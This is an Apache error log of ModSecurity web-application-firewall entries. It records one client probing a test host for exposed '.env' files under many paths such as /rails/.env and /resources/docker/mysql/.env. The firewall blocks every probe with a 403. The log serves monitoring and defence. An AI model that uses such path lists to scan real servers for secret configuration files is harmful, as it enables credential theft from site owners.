[Thu Feb 26 01:03:15.085138 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rails-api/react-app/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizIgAAAAA&quot;]
[Thu Feb 26 01:03:15.085314 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rails-api/react-app/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizIgAAAAA&quot;]
[Thu Feb 26 01:03:15.103141 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /resources/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLh9gAAAAE&quot;]
[Thu Feb 26 01:03:15.103415 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLh9gAAAAE&quot;]
[Thu Feb 26 01:03:15.103580 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLh9gAAAAE&quot;]
[Thu Feb 26 01:03:15.128753 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rails/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rails/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizIwAAAAA&quot;]
[Thu Feb 26 01:03:15.128987 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rails/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizIwAAAAA&quot;]
[Thu Feb 26 01:03:15.129136 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rails/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizIwAAAAA&quot;]
[Thu Feb 26 01:03:15.147019 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /resources/docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLh9wAAAAE&quot;]
[Thu Feb 26 01:03:15.147259 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLh9wAAAAE&quot;]
[Thu Feb 26 01:03:15.147430 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLh9wAAAAE&quot;]
[Thu Feb 26 01:03:15.164134 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rasax/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rasax/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizJAAAAAA&quot;]
[Thu Feb 26 01:03:15.164367 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rasax/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizJAAAAAA&quot;]
[Thu Feb 26 01:03:15.164520 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rasax/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizJAAAAAA&quot;]
[Thu Feb 26 01:03:15.172983 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /resources/docker/mysql/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/mysql/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLh-AAAAAE&quot;]
[Thu Feb 26 01:03:15.173247 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/mysql/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLh-AAAAAE&quot;]
[Thu Feb 26 01:03:15.173389 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/mysql/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLh-AAAAAE&quot;]
[Thu Feb 26 01:03:15.189668 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /react/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizJQAAAAA&quot;]
[Thu Feb 26 01:03:15.189904 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizJQAAAAA&quot;]
[Thu Feb 26 01:03:15.190041 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizJQAAAAA&quot;]
[Thu Feb 26 01:03:15.212093 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /resources/docker/phpmyadmin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/phpmyadmin/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLh-QAAAAE&quot;]
[Thu Feb 26 01:03:15.212315 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/phpmyadmin/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLh-QAAAAE&quot;]
[Thu Feb 26 01:03:15.212466 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/phpmyadmin/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLh-QAAAAE&quot;]
[Thu Feb 26 01:03:15.220485 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /react_todo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react_todo/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizJgAAAAA&quot;]
[Thu Feb 26 01:03:15.220692 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react_todo/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizJgAAAAA&quot;]
[Thu Feb 26 01:03:15.220825 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react_todo/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizJgAAAAA&quot;]
[Thu Feb 26 01:03:15.257606 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /redmine/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/redmine/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizJwAAAAA&quot;]
[Thu Feb 26 01:03:15.257855 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/redmine/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizJwAAAAA&quot;]
[Thu Feb 26 01:03:15.258015 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/redmine/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizJwAAAAA&quot;]
[Thu Feb 26 01:03:15.281035 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /resources/docker/rabbitmq/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/rabbitmq/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLh-gAAAAE&quot;]
[Thu Feb 26 01:03:15.281297 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/rabbitmq/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLh-gAAAAE&quot;]
[Thu Feb 26 01:03:15.281457 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/rabbitmq/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLh-gAAAAE&quot;]
[Thu Feb 26 01:03:15.291462 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /repo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repo/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizKAAAAAA&quot;]
